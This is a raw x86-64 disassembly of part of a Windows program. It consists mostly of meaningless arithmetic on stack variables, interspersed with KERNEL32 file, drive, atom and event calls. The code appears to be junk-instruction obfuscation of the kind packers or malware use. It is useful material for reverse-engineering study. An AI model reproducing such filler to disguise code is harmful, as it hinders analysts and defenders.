mov dword [rsp + 0xd85c], eax
mov rax, qword [rsp + 0x1a528]
mov ecx, dword [rsp + 0xd044]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd724], eax
movzx eax, word [rsp + 0x364c]
mov word [rsp + 0x39d4], ax
movzx eax, byte [rsp + 0x787]
movzx ecx, byte [rsp + 0x7e9]
imul eax, ecx
mov byte [rsp + 0x7da], al
mov rax, qword [rsp + 0x19c98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab38]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9288], eax
mov rax, qword [rsp + 0x19850]
mov ecx, dword [rsp + 0xd000]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd37c], eax
lea rdx, [rsp + 0x1a670]
mov rcx, qword [rsp + 0x1a048]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd690], eax
mov eax, dword [rsp + 0x86e8]
mov ecx, dword [rsp + 0xd0a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8100], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0x1a3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd4ec]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad81c], eax
lea rax, [rsp + 0xd73c]
mov qword [rsp + 0x1a678], rax
movsx eax, word [rsp + 0x37e8]
movsx ecx, word [rsp + 0x3850]
sub eax, ecx
mov word [rsp + 0x3724], ax
mov rax, qword [rsp + 0x19af8]
movzx eax, byte [rax]
mov byte [rsp + 0x854], al
movzx eax, word [rsp + 0x3974]
movzx ecx, word [0x1402ad640]
sub eax, ecx
mov word [rsp + 0x36c8], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a120]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x22d], al
mov eax, dword [rsp + 0xd188]
mov dword [rsp + 0xd860], eax
mov rax, qword [rsp + 0x19df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd440]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd290], eax
mov rax, qword [rsp + 0x1a2e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x25b8]
add eax, ecx
mov word [rsp + 0x242c], ax
mov rax, qword [rsp + 0x1a4e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x815]
xor eax, ecx
mov byte [0x1402acb76], al
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402bf6f4]
shl eax, cl
mov dword [rsp + 0xd7c0], eax
mov eax, dword [rsp + 0xa1c8]
movzx ecx, al
mov eax, dword [rsp + 0xd7b8]
sar eax, cl
mov dword [rsp + 0xd1c4], eax
mov rax, qword [0x1402bf628]
mov eax, dword [rax]
mov dword [rsp + 0xd864], eax
lea rdx, [rsp + 0x2d2d8]
mov rcx, qword [rsp + 0x19e20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xce8c], eax
mov eax, dword [rsp + 0xaba8]
mov ecx, dword [rsp + 0xc9c8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xb6d4], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov word [rsp + 0x39d8], ax
movzx eax, byte [rsp + 0x7c7]
movzx ecx, byte [0x1402acbfe]
sub eax, ecx
mov byte [rsp + 0x7f1], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x1a2c8]
mov rcx, qword [rsp + 0x19e80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb998], eax
mov rax, qword [rsp + 0x1a2c8]
mov eax, dword [rax]
mov dword [rsp + 0xd868], eax
mov rax, qword [rsp + 0x19af8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x850]
sub eax, ecx
mov byte [0x1402acc2a], al
movsx eax, word [rsp + 0x3290]
mov rcx, qword [rsp + 0x1a340]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3150], ax
movzx ecx, word [rsp + 0x35d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35b0], ax
mov rax, qword [rsp + 0x1a170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x82c]
add eax, ecx
mov byte [rsp + 0x96], al
movzx eax, word [rsp + 0x392c]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3698], ax
mov eax, dword [rsp + 0xd50c]
mov dword [rsp + 0xd86c], eax
mov rax, qword [rsp + 0x19b08]
mov rcx, qword [rsp + 0x19e68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcfe8], eax
mov eax, dword [rsp + 0xd464]
mov ecx, dword [rsp + 0xd6ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcef0], eax
mov eax, dword [rsp + 0xcfc8]
mov dword [rsp + 0xd870], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd248], eax
mov eax, dword [rsp + 0xd130]
mov ecx, dword [rsp + 0xa1dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd790], eax
mov rax, qword [rsp + 0x1a398]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a170]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x703], al
movzx eax, word [rsp + 0x35f8]
movzx ecx, word [rsp + 0x3734]
and eax, ecx
mov word [0x1402bf5b0], ax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [0x1402ad774]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1a0], eax
mov rax, qword [rsp + 0x19c98]
mov ecx, dword [rsp + 0xac30]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd510], eax
mov rax, qword [rsp + 0x19d98]
mov eax, dword [rax]
mov dword [rsp + 0xd874], eax
mov eax, dword [rsp + 0xd314]
movzx ecx, al
mov eax, dword [0x1402ad630]
shr eax, cl
mov dword [rsp + 0xd1d0], eax
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
mov word [rsp + 0x39dc], ax
lea rcx, [rsp + 0x2d410]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd878], eax
lea rcx, str.U_KWnyqiS
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3954], ax
mov rax, qword [rsp + 0x1a568]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x75c], al
mov rax, qword [rsp + 0x1a190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19ec8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x35a4], ax
mov rax, qword [rsp + 0x19bb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x1a380]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad644], eax
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd4e8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc10], eax
movzx eax, byte [rsp + 0x7e4]
mov byte [rsp + 0x855], al
mov rax, qword [0x1402bf530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35dc]
add eax, ecx
mov word [rsp + 0x2dc0], ax
mov eax, dword [rsp + 0xb710]
mov dword [rsp + 0xd87c], eax
mov rax, qword [rsp + 0x1a150]
mov rcx, qword [rsp + 0x1a3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9684], eax
mov rax, qword [rsp + 0x19df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd798]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19cd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19c78]
mov rcx, qword [rsp + 0x1a008]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xba60], eax
movzx eax, byte [rsp + 0x7be]
mov rcx, qword [0x1402bf548]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x793], al
lea rdx, [rsp + 0xd880]
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xceec], eax
movzx eax, word [rsp + 0x36f8]
mov word [0x1402bf4f8], ax
mov eax, dword [rsp + 0x9320]
mov dword [rsp + 0xd884], eax
mov rax, qword [rsp + 0x19c48]
mov ecx, dword [0x1402ad6a4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd5e8], eax
mov eax, dword [rsp + 0x838c]
mov ecx, dword [rsp + 0x99e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd378], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x2cce
mov rcx, qword [rsp + 0x19f40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd200], eax
mov eax, dword [rsp + 0xaa24]
mov dword [rsp + 0xd888], eax
mov rax, qword [0x1402bf5a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcde0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a620]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x3718]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35b8], ax
movsx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x19e30]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x19960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a190]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x362c], ax
movzx eax, word [rsp + 0x3900]
mov rcx, qword [rsp + 0x1a5d8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x37f4], ax
movzx eax, byte [rsp + 0x851]
movzx ecx, byte [rsp + 0x7c7]
shl eax, cl
mov byte [0x1402bf640], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd88c], eax
mov rcx, qword [rsp + 0x19db0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd2f4], eax
lea rax, [rsp + 0xce80]
mov qword [rsp + 0x1a680], rax
mov rax, qword [rsp + 0x19b28]
mov rcx, qword [rsp + 0x1a420]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd0f4], eax
lea rax, [rsp + 0x813]
mov qword [rsp + 0x1a688], rax
movzx eax, word [rsp + 0x39d8]
mov rcx, qword [0x1402bf6d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d04], ax
mov eax, dword [rsp + 0xd4fc]
mov ecx, dword [rsp + 0x99e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf58], eax
mov rax, qword [rsp + 0x19dc0]
mov eax, dword [rax]
mov dword [rsp + 0xd890], eax
mov rax, qword [rsp + 0x1a080]
mov rcx, qword [rsp + 0x19d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd7a4], eax
mov rax, qword [rsp + 0x1a538]
mov eax, dword [rax]
mov dword [rsp + 0xd894], eax
movzx eax, word [rsp + 0x344c]
movzx ecx, word [rsp + 0x3684]
sub eax, ecx
mov word [0x1402ad820], ax
movzx eax, byte [rsp + 0x7a8]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7a7], al
lea rax, [rsp + 0xd2dc]
mov qword [rsp + 0x1a690], rax
mov rax, qword [rsp + 0x19e80]
mov rcx, qword [rsp + 0x19c98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa6a4], eax
movsx eax, word [rsp + 0x30d4]
mov rcx, qword [0x1402bf728]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3690], ax
movzx eax, byte [rsp + 0x791]
mov byte [rsp + 0x856], al
movzx eax, word [rsp + 0x3854]
movzx ecx, word [rsp + 0x3928]
add eax, ecx
mov word [rsp + 0x2db4], ax
mov rax, qword [0x1402bf6e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a0b0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x18a], al
mov eax, dword [rsp + 0xd24c]
mov ecx, dword [rsp + 0x7fc0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf14], eax
mov eax, dword [0x1402ad6c0]
mov rcx, qword [rsp + 0x19c48]
mov qword [rsp + 0x1a698], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a698]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1402ad7a8], eax
mov rax, qword [rsp + 0x1a260]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19ab0]
mov qword [rsp + 0x1a6a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a6a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x19e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19e68]
mov eax, dword [rax]
mov dword [rsp + 0xd898], eax
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd320]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd480], eax
movzx eax, word [rsp + 0x3810]
mov word [rsp + 0x39e0], ax
movzx eax, byte [rsp + 0x273]
mov rcx, qword [rsp + 0x19a50]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7f0], al
mov eax, dword [rsp + 0xc2e4]
mov ecx, dword [rsp + 0xced4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd704], eax
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e8c], eax
mov eax, dword [rsp + 0x9500]
mov ecx, dword [rsp + 0xd000]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd320], eax
mov rax, qword [0x1402bf768]
mov rcx, qword [rsp + 0x1a248]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad824], eax
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
mov word [rsp + 0x39e4], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7c9]
and eax, ecx
mov byte [rsp + 0x7e9], al
movzx eax, word [rsp + 0x3800]
mov word [rsp + 0x39e8], ax
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb4]
sub eax, ecx
mov byte [rsp + 0x827], al
mov rax, qword [rsp + 0x19f88]
mov ecx, dword [0x1402ad66c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd7d0], eax
mov rax, qword [rsp + 0x1a588]
mov rcx, qword [rsp + 0x1a268]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa6b4], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a4a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x38dc], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov byte [rsp + 0x857], al
mov eax, dword [rsp + 0xd70c]
mov dword [0x1402bf4f4], eax
mov rax, qword [rsp + 0x19f50]
mov rcx, qword [rsp + 0x1a518]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd4e4], eax
mov rax, qword [rsp + 0x19cc8]
mov ecx, dword [rsp + 0xd1f4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd620], eax
mov rax, qword [rsp + 0x1a448]
mov eax, dword [rax]
mov dword [rsp + 0xd89c], eax
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2944]
sar eax, cl
mov word [rsp + 0x3184], ax
lea rax, [rsp + 0x806]
mov qword [rsp + 0x1a6a8], rax
mov eax, dword [rsp + 0xd66c]
movzx ecx, al
mov eax, dword [rsp + 0xd5dc]
shl eax, cl
mov dword [rsp + 0xd564], eax
mov eax, dword [rsp + 0xd734]
mov ecx, dword [rsp + 0x91f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd164], eax
mov ecx, 0xe
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd3e4], eax
mov rax, qword [0x1402bf5d0]
mov rcx, qword [rsp + 0x1a578]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8c70], eax
mov rax, qword [rsp + 0x19d10]
mov ecx, dword [rsp + 0xd4d8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad7d8], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd4e0], eax
mov rax, qword [0x1402bf5f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd6b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd000], eax
movzx eax, byte [rsp + 0x7e5]
mov byte [rsp + 0x858], al
movsx eax, word [rsp + 0x3970]
mov rcx, qword [rsp + 0x1a118]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19ec8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x580]
mov rcx, qword [0x1402bf518]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7f2], al
mov rax, qword [rsp + 0x1a030]
movzx eax, word [rax]
mov word [rsp + 0x39ec], ax
mov dword [rsp + 0x2d770], 0x114
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0x19e18]
mov rcx, qword [rsp + 0x19b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd240], eax
mov rax, qword [rsp + 0x19c10]
mov eax, dword [rax]
mov dword [rsp + 0xd8a0], eax
mov rax, qword [rsp + 0x1a188]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a0c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x306], al
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2104]
sub eax, ecx
mov word [0x1402ad828], ax
mov rax, qword [0x1402bf760]
mov ecx, dword [rsp + 0x914c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xbba0], eax
mov rax, qword [rsp + 0x19ca0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb664]
sar eax, cl
mov dword [rsp + 0xbfd4], eax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcec0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0c4], eax
lea rdx, [rsp + 0xce84]
mov rcx, qword [rsp + 0x1a3b8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd350], eax
mov rax, qword [rsp + 0x1a410]
mov eax, dword [rax]
mov dword [rsp + 0xd8a4], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd8a8], eax
mov rax, qword [rsp + 0x1a2e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x3858], ax
mov rax, qword [rsp + 0x1a310]
movzx eax, byte [rax]
mov byte [rsp + 0x859], al
mov rax, qword [rsp + 0x19e98]
mov eax, dword [rax]
mov rcx, qword [0x1402bf768]
mov qword [rsp + 0x1a6b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a6b0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9e08], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd218], eax
mov eax, dword [rsp + 0xcfb0]
mov ecx, dword [rsp + 0x9ccc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1ac], eax
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19960]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad2f8], ax
mov rax, qword [rsp + 0x19d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x685], al
mov rax, qword [rsp + 0x1a378]
movzx eax, word [rax]
mov rcx, qword [0x1402bf700]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x37b4], ax
lea rax, [rsp + 0x273]
mov qword [rsp + 0x1a6b8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd040], eax
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rsp + 0x92dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd328], eax
mov rax, qword [rsp + 0x19dc0]
mov ecx, dword [0x1402bf780]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd6a0], eax
mov edx, 0x7f3232
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd8ac], eax
mov eax, dword [rsp + 0x9f50]
mov dword [rsp + 0xd8b0], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd8a8], eax
mov eax, dword [rsp + 0xd51c]
mov ecx, dword [rsp + 0xd850]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2b4], eax
mov rax, qword [rsp + 0x1a050]
mov eax, dword [rax]
mov dword [rsp + 0xd8b4], eax
mov rcx, qword [rsp + 0x199b8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [0x1402bf660]
movzx ecx, byte [rsp + 0x70e]
and eax, ecx
mov byte [rsp + 0x7cd], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
movzx eax, word [rsp + 0x3794]
movzx ecx, word [rsp + 0x3758]
add eax, ecx
mov word [0x1402ad674], ax
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd7c4]
shl eax, cl
mov dword [rsp + 0xd3f4], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb66c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb5c8], eax
mov rax, qword [0x1402bf648]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd5f4]
sar eax, cl
mov dword [rsp + 0xd47c], eax
mov eax, dword [rsp + 0xcd4c]
mov dword [rsp + 0xd8b8], eax
mov rcx, qword [rsp + 0x19748]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x398c]
movzx ecx, word [rsp + 0x3964]
or eax, ecx
mov word [rsp + 0x3990], ax
lea rax, [rsp + 0x2fd]
mov qword [rsp + 0x1a6c0], rax
movsx eax, byte [0x1402acc2a]
movsx ecx, byte [rsp + 0x102]
add eax, ecx
mov byte [rsp + 0x782], al
movsx eax, word [rsp + 0x3114]
mov rcx, qword [rsp + 0x1a028]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3820], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1a6c8], rax
mov rax, qword [rsp + 0x19a90]
mov rcx, qword [0x1402bf670]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad82c], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcd74], eax
mov eax, dword [rsp + 0x9e08]
mov dword [rsp + 0xd8bc], eax
mov rax, qword [rsp + 0x1a120]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a568]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x19dc8]
movzx eax, word [rax]
movzx ecx, word [0x1402ad7c4]
sub eax, ecx
mov word [rsp + 0x2b88], ax
mov eax, dword [rsp + 0xd670]
mov ecx, dword [rsp + 0xcfa0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce5c], eax
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8540]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8964], eax
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
mov dword [rsp + 0xd8c0], eax
mov rax, qword [rsp + 0x198e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd72c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbb68], eax
movzx eax, byte [rsp + 0x834]
mov byte [rsp + 0x85a], al
movzx eax, word [rsp + 0x392c]
mov word [0x1402bf4f0], ax
mov rax, qword [rsp + 0x19ed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd650]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd128], eax
mov rax, qword [rsp + 0x19888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd760]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf98], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov ecx, dword [0x1402ad6c8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x97bc], eax
mov rax, qword [rsp + 0x19980]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19df8]
mov qword [rsp + 0x1a6d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a6d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xcf68], eax
lea rax, [rsp + 0xb2a4]
mov qword [rsp + 0x1a6d8], rax
movsx eax, word [rsp + 0x3850]
movsx ecx, word [rsp + 0x38f0]
shl eax, cl
mov word [rsp + 0x3788], ax
lea rax, [rsp + 0x7c8]
mov qword [rsp + 0x1a6e0], rax
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
cdq
mov ecx, 0x5ab
idiv ecx
mov word [rsp + 0x1de0], ax
mov rax, qword [rsp + 0x19fa0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7fb]
or eax, ecx
mov byte [0x1402acbae], al
mov rax, qword [rsp + 0x1a478]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xafa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ac0], eax
mov rax, qword [rsp + 0x1a3b0]
mov eax, dword [rax]
mov dword [rsp + 0xd8c4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xc485
mov rcx, qword [rsp + 0x19fc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcd9c], eax
movzx eax, byte [rsp + 0x796]
movzx ecx, byte [rsp + 0x7c2]
sub eax, ecx
mov byte [rsp + 0x7aa], al
mov rcx, qword [rsp + 0x1a148]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x28dc]
mov word [rsp + 0x39f0], ax
mov rax, qword [0x1402bf5f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd608]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfa8], eax
mov eax, dword [rsp + 0xceac]
mov ecx, dword [rsp + 0xd17c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce80], eax
mov eax, dword [rsp + 0x9c50]
mov dword [rsp + 0xd8c8], eax
mov eax, dword [rsp + 0xd544]
mov ecx, dword [rsp + 0xd2d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1dc], eax
mov rax, qword [rsp + 0x1a4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad820], ax
movzx eax, byte [rsp + 0x846]
mov rcx, qword [0x1402bf500]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8d], al
mov rax, qword [rsp + 0x19e50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd724]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd188], eax
mov rax, qword [rsp + 0x19b18]
mov ecx, dword [rsp + 0xd7fc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19740]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19dd0]
movzx eax, word [rax]
mov word [rsp + 0x39f4], ax
mov rax, qword [rsp + 0x19bb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x791]
sub eax, ecx
mov byte [rsp + 0x17d], al
movzx eax, byte [rsp + 0x846]
mov byte [rsp + 0x85b], al
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39e0]
add eax, ecx
mov word [rsp + 0x1c3c], ax
mov eax, dword [rsp + 0xcdf4]
movzx ecx, al
mov eax, dword [rsp + 0xca00]
shr eax, cl
mov dword [rsp + 0xd2d0], eax
mov eax, dword [rsp + 0xd2cc]
mov rcx, qword [rsp + 0x1a098]
mov qword [rsp + 0x1a6e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a6e8]
